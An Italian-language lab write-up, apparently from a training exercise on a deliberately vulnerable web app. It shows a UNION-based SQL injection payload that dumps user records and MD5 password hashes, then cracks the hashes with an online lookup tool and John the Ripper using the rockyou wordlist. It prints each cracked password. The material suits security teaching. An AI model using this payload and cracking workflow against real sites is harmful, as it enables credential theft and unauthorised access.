

PASSWORD CRACKING

SQL INJECTION

1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#

Vulnerability: SQL Injection

User ID:

ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#
First name: 1
Surname: 1:admin:admin:admin:5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#
First name: 1
Surname: 2:Gordon:Brown:gordonb:e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#
First name: 1
Surname: 3:Hack:Me:1337:8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#
First name: 1
Surname: 4:Pablo:Picasso:pablo:0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#
First name: 1
Surname: 5:Bob:Smith:smithy:5f4dcc3b5aa765d61d8327deb882cf99

MD5



Il tool on line per criptare e decriptare stringhe in md5

Stringa da criptare	Cripta md5()
Oppure	
Stringa da decriptare	Decripta md5()

Md5online.it, il tool on line che ti permette di criptare e decriptare stringhe utilizzando l'MD5. L'MD5 è una funzione hash crittografica, Questa funzione prende in input una stringa di lunghezza arbitraria e ne produce in output un'altra a 128 bit.

- 5f4dcc3b5aa765d61d8327deb882cf99 → password

5f4dcc3b5aa765d61d8327	Decripta md5()
------------------------	----------------

```
md5-decrypt("5f4dcc3b5aa765d61d8327deb882cf99")
```

password

- e99a18c428cb38d5f260853678922e03 → abc123

e99a18c428cb38d5f26085	Decripta md5()
------------------------	----------------

```
md5-decrypt("e99a18c428cb38d5f260853678922e03")
```

abc123

- 8d3533d75ae2c3966d7e0d4fcc69216b → charley

8d3533d75ae2c3966d7e0	Decripta md5()
-----------------------	----------------

```
md5-decrypt("8d3533d75ae2c3966d7e0d4fcc69216b")
```

charley

- 0d107d09f5bbe40cade3de5c71e9e9b7 → letmein

0d107d09f5bbe40cade3de	Decripta md5()
------------------------	----------------

```
md5-decrypt("0d107d09f5bbe40cade3de5c71e9e9b7")
```

letmein

- 5f4dcc3b5aa765d61d8327deb882cf99 → password

5f4dcc3b5aa765d61d8327	Decripta md5()
------------------------	----------------

```
md5-decrypt("5f4dcc3b5aa765d61d8327deb882cf99")
```

password

JOHN THE RIPPER

E' un tool di password cracking utilissimo per ridurre i tempi di cracking durante una sessione di brute force:

```
$ john
Created directory: /home/kali/.john
John the Ripper 1.9.0-jumbo-1+bleeding-aec1328d6c 2021-11-02 10:45:52 +0100 OMP [linux-gnu 64-bit x86_64 AVX2 AC]
Copyright (c) 1996-2021 by Solar Designer and others
Homepage: https://www.openwall.com/john/
Usage: john [OPTIONS] [PASSWORD-FILES]
Use --help to list all available options.
```

Ho creato un mio file con le informazioni trovate attraverso la SQL Injection:

passwords.txt

```
GNU nano 6.4
admin:5f4dcc3b5aa765d61d8327deb882cf99
Gordon:e99a18c428cb38d5f260853678922e03
Hack:8d3533d75ae2c3966d7e0d4fcc69216b
Pablo:0d107d09f5bbe40cade3de5c71e9e9b7
Bob:5f4dcc3b5aa765d61d8327deb882cf99
Usage: john [OPTIONS] [PASSWORD-FILES]
```

Ho usato una wordlist per aiutare il tempo di cracking e ridurlo in modo significativo:

```
(kali@kali)-[~]
$ cd /usr/share/wordlists/
(kali@kali)-[/usr/share/wordlists]
$ ls
amass dirb dirbuster fasttrack.txt fern-wifi john.lst legion metasploit nmap.lst rockyou.txt sqlmap.txt wfuzz wifite.txt
```

Ora verrà utilizzato l'applicazione John per decifrare il file delle password:

```
(kali@kali)-[~/Desktop]
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (admin)
abc123         (Gordon)
letmein        (Pablo)
charley        (Hack)
4g 0:00:00:00 DONE (2023-03-01 10:26) 200.0g/s 153600p/s 153600c/s 230400C/s my3kids..dangerous
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

(kali@kali)-[~/Desktop]
$ john --show --format=Raw-MD5
Password files required, but none specified

(kali@kali)-[~/Desktop]
$ john --show --format=Raw-MD5 passwords.txt
admin:password
Gordon:abc123
Hack:charley
Pablo:letmein
Bob:password

5 password hashes cracked, 0 left
```